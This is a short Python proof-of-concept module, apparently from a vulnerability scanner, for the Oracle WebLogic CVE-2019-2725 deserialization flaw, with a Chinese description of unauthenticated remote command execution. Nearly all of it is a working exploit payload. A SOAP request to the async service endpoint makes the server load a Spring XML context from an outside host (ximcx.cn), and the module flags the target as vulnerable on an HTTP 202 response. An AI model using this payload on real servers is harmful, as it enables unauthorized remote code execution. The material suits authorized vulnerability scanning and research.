# refer: https://github.com/rabbitmask/WeblogicScan/blob/master/poc/CVE_2019_2725.py
import HackRequests


def poc(arg, **kwargs):
    path = '/_async/AsyncResponseService'
    payload = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://ximcx.cn</string></void></class></java>    </work:WorkContext>   </soapenv:Header>   <soapenv:Body>      <asy:onAsyncDelivery/>   </soapenv:Body></soapenv:Envelope>'
    hack = HackRequests.hackRequests()
    hh = hack.http(arg + path, post=payload)
    if hh.status_code == 202:
        return {
            "name": "CVE-2019-2725 JAVA deserialization",
            "content": "WebLogic wls9-async反序列化远程命令执行漏洞（CNVD-C-2019-48814、CVE-2019-2725）。攻击者利用该漏洞，可在未授权的情况下远程执行命令。",
            "url": arg+path,
            "log": hh.log,
            "tag": "deserialization"
        }
